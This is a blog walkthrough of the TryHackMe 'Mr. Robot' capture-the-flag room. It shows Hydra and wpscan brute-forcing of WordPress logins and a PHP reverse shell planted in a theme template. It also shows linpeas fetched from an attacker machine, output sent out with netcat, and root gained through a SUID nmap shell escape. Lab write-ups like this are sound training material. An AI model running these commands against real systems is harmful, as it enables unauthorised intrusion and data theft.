TryHackMe | Mr. Robot writeup

Ricardo Ribas
6 min readFeb 10, 2023

--

This is one (of many) walkthrough for the Mr. Robot CTF room. As always, I try to follow some simple enumeration steps to expose potential flaws from this article.

Enumeration

As usual, I use nmap to see which ports are open.

nmap -sCV $IP-ADDRESS

Starting Nmap 7.60 ( https://nmap.org ) at 2023-02-10 09:29 GMT
Nmap scan report for ip-10-10-209-110.eu-west-1.compute.internal (10.10.209.110)
Host is up (0.00044s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
MAC Address: 02:8C:F8:3A:A9:03 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.26 seconds

From this command, you notice the existence of a web server on port 80, but also ssh. Let’s try to access the web page and see if there is anything for us. Nothing promising stands out after reviewing the HTML source code, except that the web page looks really awesome 🤓.

For next step, I tried to use gobuster to brute force some URIs. Nonetheless, from the hint you can see that there might be a robots.txt file available. While the gobuster is running, you can quickly check it to see if it takes us further.

Surprisingly, the file exists 🤔 and contains two entries. One of them contains the key 1/3 to solve the CTF. The other seems a dictionary with lots of words (password file perhaps?).

gobuster dir -u http://$IP-ADDRESS
\ -x html,txt,js,py,php
\-w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://$IP-ADDRESS
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: py,exe,txt,html,php,js
[+] Timeout: 10s
===============================================================
2023/02/10 09:35:38 Starting gobuster
===============================================================
/.hta (Status: 403)
/.hta.php (Status: 403)
/.hta.js (Status: 403)
/.hta.py (Status: 403)
/.hta.exe (Status: 403)
/.hta.txt (Status: 403)
/.hta.html (Status: 403)
/.htaccess (Status: 403)
/.htaccess.js (Status: 403)
/.htaccess.py (Status: 403)
/.htaccess.exe (Status: 403)
/.htaccess.txt (Status: 403)
/.htaccess.html (Status: 403)
/.htaccess.php (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.js (Status: 403)
/.htpasswd.py (Status: 403)
/.htpasswd.exe (Status: 403)
/.htpasswd.txt (Status: 403)
/.htpasswd.html (Status: 403)
/.htpasswd.php (Status: 403)
/0 (Status: 301)
/Image (Status: 301)
/admin (Status: 301)

From gobuster, there are a few entries that got my attention. By accessing them through the browser, a blog was found.

Blog found from gobuster

Repeating the process from the first steps, I tried to analyse the HTML source code and potential paths that this blog would take. Nothing really obvious popped out, except the fact that they were using a wordpress (version 4.3.1) site with a specific template, but also a login page.

First thing I did after gathering this information was to validate if there was any exploit available for this version in exploit-db. No luck here 😅.

After interacting with the login page, I noticed that as soon I put an invalid username, wordpress warns me that the username doesn’t exists. With that in mind, am I able to brute-force it to find any username (and password)?

For moments, I forgot that I extracted a dictionary of words before 😅! Before running any brute-force script, I tried to remove any potential duplicates.

I used Hydra to brute-force the username, but you could use anything that suits you better.

$ sort fsocity.dic | uniq > fsociety.dic

$ hydra -L fsociety.dic -p Password123 -vV -t 20 -f $IP-ADDRESS http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:Invalid username"

[ATTEMPT] target $IP_ADDRESS - login "Eliot" - pass "Password123" - 2 of many[child 1] (0/0)
[ATTEMPT] target $IP_ADDRESS - login "eliots" - pass "Password123" - 3 of many[child 2] (0/0)
[ATTEMPT] target $IP_ADDRESS - login "Eliott" - pass "Password123" - 4 of many[child 3] (0/0)
[ATTEMPT] target $IP_ADDRESS - login "elliot" - pass "Password123" - 5 of many[child 4] (0/0)
....
[ATTEMPT] target $IP-ADDRESS - login "Elliot" - pass "Password123" - 6 of 15 [child 5] (0/0)
[80][http-post-form] host: $IP-ADDRESS login: Elliot password: Password123
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2023-02-10 10:24:46

After reading a bit of a book and having some coffee, there was an answer from hydra. I tried using the username and, well, wordpress got pretty explicit about the existence of this username.

ERROR: The password you entered for the username Elliot is incorrect. Lost your password?

As I didn’t get any clues about the password that this username might have, another brute-force was required. You can decide between using hydra again or use another tool for sake of learning new tools. While taking modules from THM, I learned about another tool called wpscan, a wordpress security scanner. Nonetheless, I will add the two commands right away. They will give the same answer anyway.

# option 1
$ hydra -l Elliot -P fsociety.dic -vV -t 20 -f $IP-ADDRESS http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:password"

# option 2
echo "Elliot" > usernames.txt
wpscan --url http://$IP-ADDRESS -v -e u -U usernames.txt --passwords fsociety.dic

Go for a walk 🚶as this one took some time as well. Great success!

But wait! Is not over yet. You may have full control of the wordpress dashboard, but you didn’t access the system yet. From the past learnings, this was an obvious use case of a php_reverse_shell. As I have almost 0 experience of wordpress, I took me a bit of time to figure out where I could edit the template source code. From Menu → Appearance → Editor you could select the right template to do the job. I choose Footer.php as it seemed a pretty generic one. After pasting the reverse_shell code into the template’s php script section and adding my VM IP and port, I was almost ready to access the system. Last, but not least, I was just missing a listener. Just refresh the main wordpress page and see the magic happen.

# Will it blend?
$ nc -lvnp 4444

...

# spawn a more interactive shell
$ python -c "import pty; pty.spawn('/bin/bash')"

# who am I?
daemon@linux:/$ whoami
daemon

And you are in 🤓! After checking the home directory you find a robot user and inside of this folder, the key 2/3.

Privilege escalation

From the same folder you got the second key, there was a “raw-md5” file with an hash value. Pasting that value in crackstation I got the plain text value. Let me try to see if this is the password of the robot user…

# change to another user
daemon@linux:/$ su robot
Password: *********************

# hi there, robot
robot@linux:~$ whoami
robot

It seems that I am a 🤖 now! The next first thing to do was to list the commands I was allowed to execute on behalf of robot.

Sorry, user robot may not run sudo on linux.

It seems there will be no easy way to check which commands I can use. To ease the process of investigating further vulnerabilities, I used linpeas. As the access machine did not have it installed (for obvious reasons), I tried to grab it from my VM. However, I could not fetch to any folder due to permissions reasons. tmp folder is always a good folder to save any file available.

# From my VM
$ cd $PATH-TO-LINPEAS.sh
$ python3 -m http.server 9000

# From SSH
$ mktemp
/tmp/random-folder

$ cd /tmp/random-folder
$ wget http://$IP-ADDRESS:9000/linpeas.sh
$ chmod +x linpeas.sh

# Go for it!
$ ./linpeas.sh > linpeas_result.txt

Just wait a few seconds to linpeas result a whole bunch of information. As I could not see properly the results inside the machine spawned shell, I send them to my VM.

# From my VM
nc -lvnp 8001 > linpeas_result.txt

# From SSH
$ cat linpeas_result.txt | nc $IP-ADDRESS 8001

After reviewing the results, I notice that there were some files that I could run on behalf of the owner of the user (AKA root). One of them was nmap. From gtfo, there was an entry for that binary. Just follow the steps to spawn a new shell.

$ cd /usr/local/bin
$ ls -la ./nmap
-rwsr-xr-x 1 root root 123456 Nov 13 2015 nmap

$ ./nmap --interactive
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
whoami
# Yuss!
root

# go for the last key in /root

Accessing the /root folder you find the key 3/3 🎉

Conclusion

This CTF was one of the best I did so far. Learning (and failing) from other CTFs allowed me to face the 🤖 fiercely! Kudos to ben to create this one! 👍

--

--

Ricardo Ribas
Ricardo Ribas

Written by Ricardo Ribas

Software Engineer passionate about rock climbing, yoga, gaming and travelling

Responses (1)